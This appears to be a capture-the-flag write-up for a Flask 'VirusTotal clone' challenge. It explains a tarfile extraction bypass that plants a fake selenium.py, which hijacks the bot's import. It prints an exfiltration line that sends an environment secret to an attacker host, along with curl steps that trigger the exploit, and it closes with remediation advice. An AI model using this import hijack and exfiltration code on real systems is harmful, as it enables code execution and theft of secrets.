notes / writeup

LighterTotal CTF Writeup

LighterTotal is a Flask web application that pretends to be a lightweight VirusTotal clone. It has two main features:

May 28, 2026 writeup

Challenge Overview

LighterTotal is a Flask web application that pretends to be a lightweight VirusTotal clone. It has two main features:

1. Upload a file to /scan and let the backend “scan” it. 2. Submit an HTML report to /submit-report, after which a Selenium bot reviews the report.

The flag is not stored in a file exposed by the web app. Instead, it is placed in the bot process environment and later added as a browser cookie.

The final exploit abuses a Python tarfile extraction bypass to write a malicious Python module into /app/selenium.py. When the bot later runs, Python imports our fake selenium.py instead of the real Selenium package, allowing us to read FLAG from the environment and exfiltrate it.

---

Codebase Walkthrough

app.py

The Flask application starts by creating two directories:

UPLOAD_DIR = "upload"
REPORT_DIR = "report"
os.makedirs(UPLOAD_DIR, exist_ok=True)
os.makedirs(REPORT_DIR, exist_ok=True)

upload/ stores uploaded files. report/ stores user-submitted reports.

file_handler = MultiFileHandler(upload_dir=UPLOAD_DIR)

This initializes the scanner logic from multi.py.

The /scan GET route only renders the upload page:

@app.route('/scan', methods=['GET'])
def scan_page():
    return render_template('scan.html')

The interesting route is /scan POST:

@app.route('/scan', methods=['POST'])
def scan_file():

It expects a file from the request:

if 'file' not in request.files:
    return jsonify({"error": "No file part in the request"}), 400

Then it sanitizes the filename:

sanitized_filename = file_handler._sanitize_filename(file.filename)
file_path = os.path.join(UPLOAD_DIR, sanitized_filename)

The file is saved into upload/:

file.save(file_path)

Then the backend scanner processes it:

scan_results = file_handler.process_uploaded_files([file_path])

This is the entry point to the vulnerable tar extraction logic.

The report feature starts here:

@app.route('/submit-report', methods=['POST'])
def submit_report():

It accepts JSON containing a note field:

data = request.get_json()
if not data or 'note' not in data:
    return jsonify({"error": "No report provided"}), 400

The note is sanitized with Bleach:

cleaned_note = bleach.clean(data['note'])

This prevents normal stored XSS because tags like <script> and event handlers are removed or escaped.

A random report filename is created:

note_id = str(random.getrandbits(32))
filename = f"report_{note_id}.html"

The sanitized report is written to disk:

with open(filepath, 'a', encoding='utf-8') as f:
    f.write(cleaned_note)

Finally, the app launches the bot:

subprocess.run(["python3", "bot.py", url], check=True)

This is very important: the bot is executed as a new Python process from /app.

---

bot.py

The bot imports Selenium:

from selenium import webdriver
from selenium.webdriver.chrome.options import Options

This import becomes exploitable later. Since the bot runs from /app, Python checks /app before checking installed packages. If we can create /app/selenium.py, the bot imports our file instead of the real Selenium package.

The bot opens the submitted report:

driver.get(url)

Then it adds the flag as a browser cookie:

driver.add_cookie({
    "name": "FLAG",
    "value": os.environ.get("FLAG", None),
    "path": "/",
    "httponly": False,
    "secure": False
})

The flag comes from the environment variable FLAG.

The cookie is not HttpOnly, so a working XSS could read it with document.cookie. However, Bleach makes the direct XSS route difficult.

---

multi.py

The upload scanner allows archives:

ALLOWED_EXTENSIONS = {
    ...
    'tar', 'tar.gz', 'tgz', 'zip'
}

The tar extraction function is:

def _extract_tar(self, tar_path: str, extract_to: str) -> List[str]:

It opens the tar file:

with tarfile.open(tar_path, 'r:*') as tar:

Then extracts it:

tar.extractall(path=extract_to, filter="data")

The developer tried to use Python’s safer filter="data" extraction mode. Normally this blocks path traversal like ../../app/selenium.py.

After extraction, the app walks the extracted files and validates them:

for root, dirs, files in os.walk(extract_to):

But the dangerous part has already happened. The archive is extracted before the scanner validates the final files.

In process_uploaded_files, tar files are extracted if the original uploaded archive is considered clean:

if file_ext in ['.tar', '.gz', '.tgz'] and status == 'CLEAN':
    extract_dir = Path('upload')
    extracted = self._extract_tar(file_path, str(extract_dir))

So the exploit only needs to make a tar file that passes the scanner checks.

---

Vulnerability

The core vulnerability is unsafe archive extraction.

Even though the code uses:

tar.extractall(path=extract_to, filter="data")

the Docker image uses Python 3.13.3, which is affected by known tarfile filter bypass techniques involving long symlink paths / PATH_MAX behavior.

The result is an arbitrary file write primitive outside /app/upload.

The intended safe boundary is:

/app/upload/

But the exploit writes:

/app/selenium.py

---

Exploit Idea

The bot later executes:

python3 bot.py <report_url>

Because the working directory is /app, Python’s import order includes /app before site-packages.

So this line in bot.py:

from selenium import webdriver

can be hijacked by creating:

/app/selenium.py

Our fake selenium.py runs immediately during import.

The malicious module reads the flag:

flag = os.environ.get("FLAG", "")

Then sends it to an attacker-controlled HTTP listener:

urllib.request.urlopen("http://ATTACKER/leak?flag=" + urllib.parse.quote(flag))

After that, it exits cleanly:

raise SystemExit(0)

Because exit code 0 does not fail subprocess.run(..., check=True), /submit-report still returns success.

---

Local Exploit Steps

Start a listener:

cd /private/tmp
python3 -m http.server 8000

Build and run the challenge locally:

cd "/Users/thinh/Documents/bkics/Lighter Total /web-lighter-total"
docker build -t lighter-total-ctf .

docker run --rm \
  -p 5000:5000 \
  -v /private/tmp/lighter_total_bot_local.py:/app/bot.py:ro \
  --name lighter-total-ctf-run \
  lighter-total-ctf

Generate the malicious tar:

python3 /private/tmp/make_lightertotal_tar_escape.py

Upload it:

curl -sS \
  -F 'file=@/private/tmp/lightertotal_escape.tar;filename=lightertotal_escape.tar' \
  http://127.0.0.1:5000/scan

Trigger the bot:

curl -sS -X POST http://127.0.0.1:5000/submit-report \
  -H 'Content-Type: application/json' \
  --data '{"note":"trigger bot"}'

The listener receives:

GET /leak?flag=SECRET HTTP/1.1

On the real remote target, replace the callback URL with a public webhook or VPS listener.

---

Impact

This is more powerful than XSS. The attacker gets code execution during Python import inside the bot process.

Since the bot process has access to:

os.environ["FLAG"]

the attacker can directly leak the flag without needing browser JavaScript.

---

Fixes

Do not extract user-controlled archives directly into application directories.

Use a temporary isolated directory:

tempfile.TemporaryDirectory()

Reject symlinks and hardlinks entirely before extraction.

Avoid extractall() for untrusted archives. Instead, iterate members manually and copy regular files only after strict path validation.

Upgrade Python to a version where the relevant tarfile filter bypass is patched.

Run the bot from a directory that attackers cannot write to, and avoid import hijacking by using isolated environments or absolute module paths.

Do not expose secrets like FLAG to child processes unless absolutely necessary.

---

Final Flag

Local test flag:

SECRET

On the remote challenge, the same chain leaks the real FLAG value.


References you can cite:

- Python tarfile docs: https://docs.python.org/3/library/tarfile.html
- PATH_MAX tarfile bypass PoC: https://github.com/0xDTC/CVE-2025-4517-tarfile-PATH_MAX-bypass